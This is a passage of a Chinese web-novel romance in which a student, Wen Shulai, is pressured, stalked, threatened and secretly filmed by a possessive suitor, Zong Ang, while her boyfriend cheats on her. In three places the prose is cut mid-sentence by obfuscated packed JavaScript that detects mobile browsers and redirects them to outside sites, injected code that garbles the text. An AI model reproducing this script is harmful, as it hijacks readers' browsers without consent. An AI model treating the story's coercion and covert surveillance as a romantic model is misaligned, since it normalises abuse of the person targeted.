余泽帆上学期追温纾莱的时候,孔佳茉她们也隔三差五沾光享受过送上门的早餐,自打两人恋爱后余泽帆就不再勤快,时隔半年他再献殷勤,还强调“特意”,何皎皎听着直反胃。 她张嘴就要开跑,孔佳茉及时杵了下她后腰。 孔佳茉收下早餐:“谢了,我们先走了。” 她一手拉着一个带走电灯泡,回身朝温纾莱递了个安心的眼神。 远离小情侣,确保温纾莱听不见,何皎皎怒气冲冲地质问:“你干嘛拦我,还接了余泽帆那畜生买的早饭,不怕得艾滋吗!” 孔佳茉说:“莱莱还不想分手,咱们别让她为难。” “为什么!?”何皎皎气死:“余泽帆值得她虚度青春吗,他配吗!” “你先冷静下。”孙星彤理智分析:“莱莱应该是有什么苦衷吧,她性子软是软了点,但她很清醒,不是个糊涂的。” …… …… “老婆你快喝,还不凉。”余泽帆插上吸管,喂到温纾莱嘴边:“也不清楚你们具体几点下楼,我提前半个小时就等在你们楼下了,牛奶都不是很烫了。” “谢谢。”温纾莱接过牛奶。 “说什么傻话呢,跟你男朋友还这么客气。”余泽帆搂上她的腰,歪着脑袋靠向温纾莱:“男朋友也不准确了,应该是未婚夫,我妈说她跟舅妈定好让咱俩毕业就结婚。” 温纾莱咬着吸管实则一口牛奶都没喝,她乳糖不耐受,她告诉过余泽帆,但他并没有记住,他不上心那她多说也无益。 真要和这样的人结婚,只会是搭伙过日子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420369|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >马燕珍和余泽帆母亲吴玉玲在同一个酒厂里上班,是同事。温纾莱高三那年,余泽帆一家搬到温家那个小区,两家成为邻居后关系日益密切起来。 那时吴玉玲瞧着温纾莱漂亮懂事,就开玩笑地说过要温纾莱以后当她儿媳妇,马燕珍挡了回去,也玩笑说孩子还小,不扯那么远。 吴玉玲真的蛮喜欢温纾莱,余泽帆高中住宿,一次月假回家见到温纾莱长那么好看,也动了少年心思。 温纾莱要报考电影学院,余泽帆自知文化课不行就去参加艺考追赶,勉为其难拿了个合格证擦边被电影学院录取。 上大学后余泽帆开始追求温纾莱,同两家人打好招呼还携礼上门求马燕珍替他说说好话。 马燕珍也松了口,夸余泽帆人蛮好,她同意他们交往。 和宗昂有了那次后,她不想辜负余泽帆,也有些对余泽帆在她最需要解救的关键时刻搞消失的灰心。 可她做不到将那件事公之于众就无法找到一个能打消马燕珍撮合念头的理由,也不能直白地说她不喜欢余泽帆,那样马燕珍不会接受这种主观感性的言论,还会对她的“幼稚”失望。 因为在被柴米油盐的一地鸡毛洗礼过后,长辈们只会看重“合适”,“喜不喜欢”一丝丝都不重要。 被舅妈拉扯长大的她别无选择。 温屿年拍完戏回来得知她恋爱这码事,问过她怎么回事。温纾莱为让他放心说她和余泽帆是互相喜欢。 其实喜不喜欢的于温纾莱而言不重要,她只是不想让舅妈失望。 吴玉玲心眼小爱记仇,邻居这么多年两家不会一次口角都不发生,顺着她心意她笑脸相迎亲若一家,一旦惹她不快她就会冷嘲热讽阴阳怪气。 现在她升职,是马燕珍的顶头上司,她心思又比马燕珍活络,一旦她和余泽帆分手,吴玉玲迁怒马燕珍,在工作上找马燕珍不痛快,给她使绊子怎么办? 温纾莱自己不怕委屈,可她不能忍受仅剩的家人受欺负。 更不能允许自己变成那个致使家人受伤害的原因。 …… …… 表演系上午没课,余泽帆陪着温纾莱去听她的课。 孔佳茉她们先她到教室占好座位,第三排,挺靠前。 余泽帆到那儿后嘀咕一嘴:“怎么坐这儿啊,多不方便我打游戏。” 朋友好心好意帮她占位置,余泽帆这一句嫌弃弄得她挺下不来台,也挺不乐意听。 “我不用你陪我上课的,你回去吧。” “那怎么行,我就想陪你。” 余泽帆坚决不走,按着温纾莱坐下,他亲下温纾莱:“不打了,游戏哪有女朋友重要。” 后排发出小小的起哄声。 温纾莱讨厌他不分场合的亲近,严肃低语:“我说过很多次了,你别这样,教室里好多人在。” 余泽帆左耳进右耳出,“好好好,我老婆脸皮薄嘛。”又执起她的手要亲。 温纾莱的直言被余泽帆自以为是的曲解。 男人仿佛天生就有一种颠倒黑白的能力,他们愚陋的认知和盲目的自信使他们觉得“女人说不要就是要”,并将之归结为欲拒还迎的情趣。 事实上,女人的脸红心跳也可能是因为愤怒而非害羞,说不要就是不要。 铃声打响,老师踩点进班,站上讲台。 温纾莱抽回来,从书包里掏出课本,不再看余泽帆:“上课了,你别再乱来了。” 桌斗书包里的手机这时铃声闷闷,温纾莱记起还未调成震动模式。 解锁,语音电话弹出。 看到雪橇犬头像的那一霎那,她忙按下红色挂断浮标。 簌簌两声,新消息。 手机藏在书包深处,她调低亮度。 .「不是说好要分手吗,为什么还要让他亲你?」 .「好气啊,我要吃醋了T^T」 10. 第 10 章 他也在教室? 温纾莱接收到他传达出来的这个信号,猛地抬起头,反应过大吸引坐在她右边的孔佳茉看向她。 孔佳茉掩唇问:“怎么了?” “没……” 她双肩包要用来装电脑,容量很大,明知有书包在外遮掩,温纾莱还是心虚地按灭屏幕反扣过去。 “不小心碰到视频播放了,差点弄出声。” “什么什么?”左侧的余泽帆斜着上半身附耳过来,眼睛还在已开的游戏上黏着:“什么视频?” 专业课的教室面积偏小,余泽帆边在游戏里厮杀边询问,一时间没能控制好音量,台上老师讲课声断了档,镜片后古井无波的眼神朝第四排瞅,温纾莱瓷白的小脸一霎羞愧变红,手在桌下怼了下余泽帆。 专业老师见是自己的得意学生,轻飘飘揭过,接着讲课。 偏生余泽帆还一无所觉,杀掉一个人后,舍得正眼瞅温纾莱:“咋啦老婆?” 温纾莱以前尚觉这样无趣无望、按部就班的日子也没什么,她是不喜欢余泽帆,可他们在一起舅妈就开心。舅妈以过来人的身份说过余泽帆是个蛮不错的结婚对象,那索性就这样,这个世界上遇到真爱且两情相悦厮守终生本就是小概率事件。 可自分手的念头萌生后,温纾莱愈发难以忍受余泽帆。 她压着情绪,回他:“没什么,玩你的吧。” 掌心的手机还在震,待周围环境重归平静后,温纾莱不敢忽略地点开宗昂的对话框。 .「好嫉妒,你怎么还跟他讲悄悄话?」 前面几排人温纾莱一一遍寻,宗昂不在其中。 她观察的小动作宗昂尽收眼底,好心献上答案。 「我孔佳茉这一列最后排。」 温纾莱谨慎地向后望去。 阶梯教室最后一排。 宗昂穿着一件黑色卫衣,帽子同昨天一样扣在头上,他托着半边腮颊俯睨着她,灰蓝色眼眸清澈剔透,唇边挂着好似终于引来心上人注目的欢喜笑容。 他明明笑得那样讨巧,温纾莱心却提到嗓子眼,遍体生寒。 她看一眼就坐正。 「你怎么在这」 .「我想陪你上课呀。」 .「你不高兴吗,怎么看起来很害怕的样子?」 她高兴个鬼! 温纾莱不能激怒他。 「我不用你陪我,你先回去好吗?」 .「不用我陪,用他陪?」 .「要是这样的话,我真的会生气的。」 「他硬要来,我没办法。」 温纾莱搜刮着合适的劝言,斟词酌句。 「你和他不一样。」 宗昂眉骨一抬,视线凝在“不一样”三个字上良久,掌根盖住嘴唇,意味不明的“啧”了声,单手打字。 「我乖乖听话的话会有奖励吗?」 温纾莱无暇顾及他想要的奖励具体是什么,她只想赶快把他弄走,他多在教室一秒她就多提心吊胆一秒。 他那么肆意妄为,大庭广众下来找她的事情不是干不出来,她赌不起。 「会。」 .「说话算话?o?」 …… …… 午后阳光明媚,穿过落地窗在地板留下鲜明的痕迹,光束中有细小的尘埃颗粒在浮动。 巴克惬意地趴在落地窗边晒太阳,忽地,耳朵灵敏抖两下。 空旷的客厅空无一人,黏腻的水声隐秘作响,玄关处有两道身影交叠,密不可分,四片唇瓣胶着拉扯。 温纾莱跟不上宗昂的节奏,也不大有接吻的经验,全靠他掌控。 上午第一节课下课后宗昂就走了,他手里有温纾莱的课表,她下午还有两节课,等她都上完,他就把人接回了公寓兑换奖励。 温纾莱太纯了,宗昂要她吻自己,她磨磨蹭蹭半天,要不是他把她堵在墙角,她大概率又要耍赖皮。拿出视死如归的勇气,只浅浅亲下他脸颊,宗昂真的有被她可爱到。 她也很生涩,舌吻只会用软小的舌头碰一下他嘴唇。 于是不再为难她,换他来主导。 温纾莱随他索取,她不会回应,可她抑制不了正常的生理反应,心脏扑通扑通跳得很快,舌尖发麻。宗昂又逼得太紧,她快呼吸不过气来。 抵着他肩膀偏了偏脸,“别、别亲了……” 宗昂恋恋不舍结束彼此清醒状态下的第一个吻。笑她:“你不会换气的吗?” 温纾莱装听不见他的调侃,自顾自轻喘着气。 脸颊被一双手托起,宗昂指腹摩挲着她细嫩的皮肤:“你脸好红,很像那晚被我弄到高.潮的样子。” 这句话色.情又露骨。 温纾莱做不到他那么坦然,人仿佛要烧起来,逃避地闭起眼:“你别说了……” “行。”宗昂谨记她那句“你不一样”的四字箴言,手下滑牵起她:“我们谈谈正事。” 他带她朝客厅走,在手机上点两下,把暖气调高。 宗昂火力旺,惧热,屋子里维持在十八九度正好,但—— 他瞥了眼又换上羽绒服,裹成粽子的温纾莱。 宗昂坐到沙发一角,扯了下还傻站着的温纾莱,膝盖顶开她双腿,让她跪坐在他腿上。双手在她背后交握,稳稳抱着她。 巴克看到两人,纡尊降贵从落地窗那儿挪到他们旁边。 温纾莱极不适应这个姿势,手都不知道该放哪,“你不是要谈正事?”她挣扎着要下去。 “就这么谈。”宗昂拍她的臀,笑:“你再乱动,我就想干点别的了。” 他手掌按着她后腰往他怀里又推了推,暗示性地顶下胯。 温纾莱身体一僵,一动不敢动。 她脸际红潮弥漫,宗昂手痒地捏两下:“好软。” 他一举一动都是在调情,温纾莱也不是一点情/事不懂,就他们两个此时的坐姿,稍有不慎就会引火烧身。 “你要谈什么?”她将注意力往正向上集中,戳破萦绕在四周的暧.昧气息。 宗昂极度配合:“谈谈你怎么还不分手?”他不大顺眼温纾莱的正襟危坐,拉起她两条胳膊圈上自己的脖颈。 温纾莱顺从他的摆弄:“……我需要时间。” 宗昂疑惑:“一晚上的时间还不够?” 温纾莱无法镇定直视宗昂,低眉敛目着:“……嗯。” 宗昂也喜欢她的眼睛,挑起她的下巴:“是他纠缠你吗,那我可以帮你解决。”他跃跃欲试。 “别!”温纾莱一慌,条件反射地抬眸与之对视,呐呐出声:“不用,我会处理好。” 她撒谎的功力真的很差。 宗昂看透她心底的秘密,逼近她,用他惯用的无辜语气发问:“这该不会是你的缓兵之计吧?” 温纾莱是这么盘算的。 余泽帆那边不能分手,宗昂她也得罪不起,她想破头都想不出一个两全其美的办法。 只能出此下策,能拖一天是一天。 结果宗昂太敏锐,三言两语就炸得她自乱阵脚。 “那不行的。”宗昂展现出好脾气的一面:“做人不能太贪心吧,脚踩两条船好像也不太对?” 他那烂糟无下限的性格还好意思厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420370|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜无耻的去教育别人。宗昂都被他自个儿逗笑了。 温纾莱笑不出来。 她双手缠在宗昂颈后,焦虑地扣弄着指甲,鸵鸟本性毕露,想把自己封闭起来。 “我要回意大利一周。”宗昂话锋一转。 温纾莱还沉浸在一筹莫展的低迷中,闻言:“什么?”连接无能他的跳跃 “我妈那边有点事,我得回去一趟。” 宗昂早就嫌她外套太厚,屋子里热起来,他剥掉温纾莱碍事的外套。 “你跟我一起去?” “我不要!我还要上课。” “我帮你跟学校请假。” 温纾莱坚定:“那我也不要。” 他回家办私事她跟去干什么,她还有自己的事情要忙。 不行不行。 “那好吧,巴克不会带走,你每天抽空来看看它。”宗昂通情达理地退让一步:“狗粮我都配好标好了日期,天太冷的话你就带它在楼道里走走,会有司机接送你。” 宗昂简短又事无巨细的一番交代,温纾莱都无从找到缺口回绝,最后稀里糊涂答应下来会过来照顾巴克,但是不必麻烦司机。 宗昂本就没真想带温纾莱同去意大利,他回去这趟行程不会太安全,无非是先提出一个温纾莱绝不会同意的高难度要求,她拒绝后再降低条件,攻破她的接受防线,以此来达成他的目的。 要温纾莱来他的公寓,要巴克在她眼前打转,要她每天都会在他的个人空间里想起他。 这是他去意大利那一周里给温纾莱布置的任务。 司机接送只是一个微不足道的小环节,这种小事上,他不会管束太多。 他说:“大门密码改成了你生日,方便你记。” 温纾莱愕然:“你怎么知道我生日?” “这很难吗?”宗昂耸肩:“你的一切我都知道,包括你家里人的。” 他炫耀着他的神通广大。 温纾莱却听出他暗含的更深层信息。 他有她的课表、知道她的生日,且还不止。 温纾莱绞弄的双手一个错力,她指甲重重刮过宗昂的脖子。 她不是故意报复,想要道歉,可张开嘴怎么都说不出话。 宗昂不以为意,眉头都没皱一下,“你需要的时间我可以给你,就我离开的这一周。” 这是他能放宽给她的最大权限。 “以前说你有男朋友很刺激,但我现在不这么想了。” 宗昂向温纾莱剖析着他自己。 “我呢,是独生子,从小到大没有和别人分享过任何东西。” “六岁吧,一个堂哥抢我玩具,我打断了他的鼻梁,后来我在我房间捡到只受伤的麻雀,养好后我表姐跟长辈哭闹着要我的麻雀,吵得我很烦,我就把麻雀做成标本送她了。” 温纾莱吸气,一刻钟前缠绵亲吻的滋生出红润隐没不见。 “从那以后,没有人敢再觊觎我的东西,我也不会给别人这个机会。” 宗昂无意恐吓温纾莱,他只是觉得他应该让温纾莱多了解他一些。 “我也不知道如果现在有人再跟我抢夺,我会做什么。” 她还是脸红的模样更漂亮。 宗昂再度吻上她,唇齿相依间,掠夺着她那份稀薄的氧气。 巴克被忽视太久,闹脾气地重回落地窗边,墙壁上用来装饰的挂钟滴滴答答走着时间,秒针转过一圈又一圈,分针落在某一个数字正中间,象征离别的吻才得以停歇。 “你不会想看到那样的我。”宗昂在她唇角眷恋地厮磨:“所以不要让我失望,宝贝。” 11. 第 11 章 宗昂当晚十点钟的航班飞意大利。 吃完晚饭遛完狗,司机来接,宗昂先送温纾莱回学校再赶往机场。 回学校的一路上,宗昂没闲着。 隔板升起来,他把她压在座椅上索吻。 狭窄私密的空间里,声音无限放大,纵使前排司机对后排情形全然不知,第三个人在场,温纾莱仍旧羞耻。 宗昂吻到动情时,手情不自禁探入她衣服里。 陌生的触感攀附上她的腰,温纾莱再也无法漠视,手胡乱挥搡着,歪打正着找到宗昂的漏洞,她虎口卡着他喉结,蛮横地将他推远,应激之下甩了他一巴掌。 “啪——” 不是很重,但声响清脆。 宗昂顺着这股力道偏头,微乎其微的疼痛散去后留下不可名状的酥麻。 第一次被人打耳光,这份体验神奇又新鲜。 他摸了摸被打的半边脸,看向缩在车门夹角的温纾莱:“是送我的分别礼物吗?” 温纾莱垂着脑袋,两只手紧握着,极度压制下在微微颤抖。 宗昂皱皱眉,撩开她一侧长发别到耳后,掰过她的脸。 温纾莱闭着眼,睫毛根部溢有点点水光。 宗昂抿唇吻掉她的眼泪,湿咸在舌尖蔓开,“我又没生气,你哭什么。” 温纾莱怕他突如其来的触摸,打完那一巴掌,她更怕他会恼羞成怒做出更过分的事情来。 后悔、恐惧齐齐涌入她的感知。 “你别哭了。”宗昂看着温纾莱要哭不哭、小心翼翼的样子,短暂地反思一两秒钟,抱她入怀:“好吧,是我的错,我跟你道歉。” 他说对不起,贴蹭着她的耳际。温纾莱一声不吭。 宗昂没想过在临走前惹人生气,可温纾莱就是不理他。 眼看就要到她学校,宗昂再次把她脸捞起来,命令她睁眼。 “你跟我说句话,不然我真把你一起带走。” 温纾莱嘴角幅度小小地向下一瘪,闭合的睫毛扑扇开,眼眶微红:“……一路顺风。” 真是一点都不走心,他坐飞机走她祝他这个。 宗昂险些气笑,但他还戴着罪,气憋了回去。 车子停在老地方,宗昂让温纾莱再亲他一下,亲哪儿都行。 温纾莱刚不过他,如他所愿,做任务似的碰碰他下颚。 下车,外面刮着风,温纾莱将羽绒服拉链拉到最顶,手揣进口袋里。 刚走出一步,背后有人在喊她。 “莱莱!” 温纾莱驻足回望,看清来人,她紧张地觑了眼马路边那辆黑色轿车。 不负所望,好了伤疤忘了疼就喜欢在别人雷区蹦迪的宗昂降下一半车窗,故作无知地询问:“怎么了?” 孔佳茉距离她还有二三十米。 温纾莱心急火燎,她压着嗓音:“你快走!” “我想再看看你。” “你回来再看!” 这个回答近乎宗昂认可的完美,如果她驱赶的意味能不那么明显的话。 他不再为难温纾莱,在孔佳茉越来越近的跑步声中升上车窗,让司机开车。 孔佳茉跑到温纾莱那儿,宗昂的车刚好驶离。孔佳茉吃了一嘴寒风,搂着温纾莱急喘气。 “我天,跑死我了。” 温纾莱被宗昂一通捉弄,心率不比极速奔跑的孔佳茉慢到哪去。她拍着孔佳茉的背:“你着什么急,我在等你呢。” “这不想让你少等会儿我。”孔佳茉吞咽了口唾沫,瞅着开远的那辆黑色轿车:“你那甲方送你回来的?” 温纾莱最近外出太勤,她告知室友们她是又接了个私活,没课的时候都要出去当面和甲方商讨剧本。 “嗯。” “这奇葩,大冷天的还非要你往外跑,送也不送到校门口,真不会做人。” 是很不会做人。温纾莱非常赞同孔佳茉的批评。 两人手挽着手回校,吐槽两句畜生甲方就改聊其他欢快的话题,等进了宿舍楼,楼道白炽灯一打,孔佳茉看到温纾莱不同寻常的嘴唇。 “莱莱你这嘴怎么啦?”孔佳茉虚指着:“怎么又红又肿的。” 温纾莱心跳又是咯噔空一拍,她条件反射地舔舔嘴唇,宗昂辗转碾磨的感觉犹在。 宿舍楼一层,宿管屋对面有一整面墙镜,她照了下,急中生智。 “晚上吃了牛油火锅,辣的。” “你都觉得辣那得多辣啊。”孔佳茉佩服:“你那甲方能吃?” “能。”温纾莱点头:“就是他挑的地方。” “诶?”孔佳茉一个语气叹词拐八道弯,眼底闪烁着八卦光芒:“莱宝宝,你这甲方男的女的?” “女的!”温纾莱添油加醋,力争洗清孔佳茉的怀疑:“四十多岁,是两个孩子的妈妈了。” “啊,妈妈啊。” “对。” 孔佳茉燃起的希望短短几秒钟就被熄灭,她还是想温纾莱身边能多些优质男性,万一就能移情别恋呢。现在温纾莱不会和余泽帆分手,不代表以后不会变卦,多接触点男人不是坏事。 温纾莱不知道孔佳茉在琢磨着什么,见她不再追问宗昂那个甲方,松了口气。 - 宗昂离开的这一周,少了颗步步紧逼随时随地都可能会爆炸的定时炸弹,温纾莱过得松快了些。 余泽帆那里她能避就避,实在避不开,见面也是冷漠的。 宗昂的威胁她没忘记,“分手”两个字她在对话框里打下过八百次,发送前又临阵退缩,她试图冷暴力余泽帆,让他主动提分手,这样传到两家人那里,吴玉玲也许不会太计较。 她这样做是很低劣,很没品,可她是真的被囚禁在死胡同里,进退不得。 但温纾莱前期没有铺垫好,她和余泽帆相处时本来就不热情,余泽帆察觉不到她前后态度有什么区别,温纾莱不陪他,他就自己去找乐子玩。 时间从不等人,日子一天又一天的重复过去,离宗昂回来的日子越近,温纾莱越焦躁。 说来可笑,唯一能让她平心静气的地方,是宗昂的公寓。 因为有巴克。 巴克是最忠实的听众,不会泄密,乖巧耐心。 温纾莱想要阳奉阴违来着,她不愿意踏足宗昂的领地,但又怕宗昂没有留后手,她不去,巴克会被饿死。 至少巴克没有错。 周一这天,温纾莱全天课上完后来到公寓。 一整天没见到活人的巴克听到开门声就叼着球晃着尾巴扑向门口。 温纾莱伸出手,巴克松嘴,玩具球落到她掌心,她往客厅里一抛,巴克屁颠屁颠跑去捡。 一人一狗在屋里玩了会儿,温纾莱吃完在店里打包的米粉,给巴克戴好嘴套,套上牵引绳,牵着它下楼去遛弯。 宗昂这个公寓小区里不清楚有没有电影学院的学生住,温纾莱每次过来都是帽子口罩全副武装,以免被人认出。 巴克很听话,在屋子里闷一天无聊透顶也不会一出门就爆冲,没准是跟它年纪太大有关系? 温纾莱这么想。 她特别喜欢小动物,爸爸妈妈都还在时,她养过一只博美,父母相继离世她去到舅舅舅妈家生活,舅妈说人还养不起更没有多余的功夫养狗,就把狗卖掉了。 她哭了很久,可她无能为力。 她一个寄人篱下的小孩,没有发言权和决定权。 温纾莱不怪舅妈,舅舅上班的时候出了工伤摔断了腿,黑心工厂不想赔太多钱,便将责任都推卸到舅舅身上,他们想打官司,可厂长有人脉疏通,他们这种普通小老百姓只能知哑巴亏。 爸爸死后妈妈患上精神疾病,积蓄和补偿金全都花光,她到舅妈家时没能带去一分钱,家里全靠舅妈一人赚钱支撑,那么艰难的日子里舅妈嫌弃过她是拖油瓶,但没有丢掉她,还养她长大。 温纾莱很感激舅舅舅妈。 再后来那家工厂因偷税漏税被查封,好几个在工厂遭受过压迫的职工联合发声,政.府补给了他们每家每户迟到的赔偿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420371|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再加上温屿年拍戏的收入,生活条件由此好转起来。 温纾莱却没有再动过养狗的心思。 那份对博美的遗憾和喜爱她都寄托给了巴克。 绕着小区溜达两圈,一人一狗回去。 进门后她帮巴克擦完脚,宗昂的消息发来。 .「接视频。」 下一秒,视频通话的请求就弹出来。 温纾莱犹豫到视频切断最后一秒钟才接通。 “怎么接这么慢。” 镜头摄取到宗昂腹部以上,他赤.裸着胸膛,又不穿衣服。 “刚刚带巴克回来。”温纾莱把画面调转去拍巴克,刻意不去看宗昂。 这是他走以后两人打的第一通视频,时差的客观因素不提,宗昂好像很忙,忙到没有闲暇来骚扰她。 “谁要看它了。”宗昂不满:“我要看的是你。” 温纾莱拖延道:“那你等一下,我洗个手。” 她以龟速走进客卫,手机横放在洗手台上,后置摄像头被堵住,黑漆漆的。 拧开水龙头,慢倍速地冲洗着手。 宗昂带笑的嗓音从扬声器里传出:“你故意磨我呢?” “没有。”温纾莱关掉水流:“我手蹭脏了。” 她抽出两张纸巾擦干手上的水珠,拿起手机,转过镜头。 宗昂问她:“宝宝你猜我现在在干什么?” 什么恶心吧啦的称呼…… 温纾莱耐着性子机械式回他:“不知道。” 宗昂引导着她:“你看没看到我脸很红?” 温纾莱兴致索然地瞥一眼手机屏幕,什么都没仔细看。 “嗯。” “因为我现在很想你。”他低哑地诉说着肉麻酸话:“可惜你不在,我只好自己解决了。” 温纾莱听懂他的暗语,脸炸红:“宗昂!” “嗯?”宗昂灰蓝色眼眸里一片浪荡的水色:“宝宝再叫我一声,我马上就好了。” “你别说了!” 温纾莱废完这句话,手忙脚乱挂断视频。 亦步亦趋守在她身边的巴克发觉她的情绪波动,脑袋拱了拱她。 温纾莱胸口急促起伏,她深呼吸平复下来,揉揉巴克。 “没事。” 宗昂又犯贱地发来一张图片。 掌纹脉络清晰的手掌淌着不可言明的乳白色。 .「好想你。」 温纾莱一键拉黑。 …… …… 温纾莱气愤回到学校的同一时间,宗昂出发前往EG总部。 EG是欧洲最大的投资公司之一,旗下控股多种领域企业,总部位于米兰。 EG是宗昂妈妈莉娅那边的家族企业。 莉娅有个比她小二十岁的男友,两人前些日子去冰川徒步,回程莉娅一路都在低烧。她早些年在模特行业透支身体,损耗太大,一病牵连出其余一系列毛病,正在医院休养。 宗昂这次回来是帮莉娅办事。 道路稍堵,他百无聊赖地点开手机里某个软件。 戴上耳机,调出公寓今晚的监控来看。 荟郡壹号的那套公寓在他住进去的前一天就全屋安装好监控,这样他不在家也能时刻观察到巴克的情况。 温纾莱对此一无所知。 还傻愣愣地扯谎糊弄他,他就在监控这边看着呢。 宗昂再忙都会抽空看完温纾莱去公寓当天的监控回放。 看她坐客厅陪巴克玩闹,看她搂着巴克絮絮叨叨。 他后悔当初没安装个收声系统更好的监控,不然他就也能听到温纾莱讲的话,而不是只便宜巴克。 回放看完,宗昂在歌单里选了首歌听。 是温纾莱在朋友圈分享过的一首中文歌。 今天的米兰天气略糟糕,乌云阴沉,春雨淅淅沥沥地下着,车窗覆满雨珠,街景混沌。 而北京未来一周都是阳光明媚。 宗昂透过朦胧雨幕望着外面,有些归心似箭。 12. 第 12 章 又是一个周三。 早上温纾莱醒来看到宗昂的一条未读留言,十分钟前他说他去机场了,晚上到北京。 温纾莱拉黑宗昂的第二天,就遭到宗昂的电话短信轰炸,她迫于他的骚扰,放他从小黑屋出来。 温纾莱周四上午没课,宗昂让她今天下课后去公寓就在他那里住一晚,洗漱用品、换洗衣服这些不用带,他都添置好了。 他几乎是明示。 孤男寡女,他们两个又有先例在前,会发生什么不言而喻。 温纾莱决定去。 她没有在宗昂规定的期限内按时完成他的要求,他不会轻易揭过,她就在北京,逃也逃不掉,宗昂对她契而不舍无非就是想睡她,他对她有所图谋,那她就有可谈判的余地。 思政老师明天有事,课程调整到今天下午,六点钟才下课。 温纾莱背着书包走在舍友们中间,出教室看见等在门口里的余泽帆。 孔佳茉留下一句“我们在前面等你”,和何皎皎、孙星彤去前方宽敞的楼梯口等她。 “老婆。”余泽帆恋爱第一天就改口这么叫温纾莱,“晚上张峰我们几个聚餐,我来接你。” 温纾莱避开他要帮她拿书包的手,“我还要改剧本,不去了。” “剧本什么时候不能改,不差这一天。”余泽帆抱着她胳膊晃来晃去:“来吧来吧,他们都带女朋友去就我孤零零的多没面啊。” “我——” “老婆你是不是不爱我了?是不是移情别恋了?”余泽帆打断她,眼神幽怨地盯着她:“别人都说女朋友的冷落就是有人悄悄取代了男朋友的位置,谁取代了我?” 下课时分,走廊里人满为患,余泽帆声音又特地拔高,过往学生都向他们投去短浅的目光。 温纾莱头疼:“你小点声。” 余泽帆:“那你去不去?” 温纾莱认知里的余泽帆,大大咧咧没什么心眼,他要是知道她和宗昂私底下的纠缠,碍于宗昂的身份不会找他麻烦也不会对她一如既往。 确定他不知情,温纾莱还是为他那句话小小地心惊一瞬。 “好了,我去。” 宗昂的回国航班十点钟落地,她应该赶得及。 温纾莱嘲讽自己,没想到有一天她也能成为时间管理大师。 - 吃饭的地方在青年路的一家大排档,田若心也在。 他们一行人多,要了个大号包厢。 余泽帆在校内和张峰、杨攀几人玩得最好,这次聚餐是杨攀带他新交的女朋友出来跟大家见见。 男生吃饭,烟酒是必备。包厢里空调开得足,几瓶啤酒下肚,有几个男生脱了上衣,赤着膀子顶着大红脸胡吹乱嗙,人手里夹着一根烟吞云吐雾。 杨攀是今晚的主角,余泽帆他们逮着他灌酒,他一喝多,给在场女士挨个发烟,包括他女朋友。 轮到温纾莱,她连连摆手。 “来一根呗。”杨攀说:“我女朋友她们不都抽呢吗。” 这个逻辑很搞笑,她们抽烟,她就一定要抽吗? 温纾莱捋不通这个前后因果。 坐在温纾莱斜对角的田若心善解人意地帮温纾莱解围:“不抽你就别给了呗,人是乖乖女,跟我们不一样。” 温纾莱淡淡睇了她眼,还想说些什么,余泽帆倾身接过那支烟,塞到温纾莱手里,“给你你就拿着呗,别扫兴。” 余泽帆不由分说地给她点上,又投入到酒局中。 温纾莱的手型很漂亮,纤细的食指和中指夹着烟,闲散地弯起些弧度。 杨攀女朋友点评道:“诶你别说,你这拿烟的手势还挺酷的,真不会抽?” “不会。” “好吧。” 杨攀女朋友见温纾莱乖乖巧巧的,一看跟她们这些学混子就不是一路货色,聊两句冷场了就玩手机去了。 青白色烟雾徐徐升起,屋子里不流通的空气逼得温纾莱一阵烦闷。 烟燃到一半,她借口上卫生间,出包厢后径直走出大排档,在路边拦下一辆出租车回学校。 路上,她给余泽帆发消息说甲方打电话来催,她必须要回学校。 发完,第二次将余泽帆设为免打扰。 …… …… 温纾莱离开大排档,田若心在二楼窗户看得分明。 她返回包厢后,绕过半张桌子到余泽帆身后,指甲划过他后颈,再坐到他身边——原来温纾莱的座位。 余泽帆见是她,冷声:“你过来干什么?”他瞥眼门口。 田若心端起他的酒杯喝一口酒,“别看了,她走了。” 余泽帆拧起眉毛,解锁手机要给温纾莱打电话,看到她那条消息后,瞪向田若心:“你又跟她说什么了?” 田若心不无委屈:“我什么都没说,是人家本来就不想跟你玩。” 余泽帆对温纾莱情意绵绵,哄着护着,对她就是呼来喝去,田若心很是不平衡,可余泽帆不许她去找温纾莱的别扭,不然就断掉来往,她是真心喜欢余泽帆,只好隐忍不发。 “如果是我赶走她的我还来找你不是自投罗网?”田若心小腿在桌布的掩映下蹭着余泽帆,靠到他耳边引诱:“你对我好点,我什么都听你的。” 余泽帆在她腰间掐了把,低骂:“老实点。” …… 隔壁一个座位,杨攀女朋友在群里跟舍友说会晚点回去,给她留门。发完一抬眼见身边换了个人,有点儿懵。 她捣了下男朋友,小声问他:“余泽帆怎么回事?” “什么怎么回事?”杨攀越过他女朋友往余泽帆那边瞅,“啊,就你看到的那么回事呗。” “他女朋友知道不?” 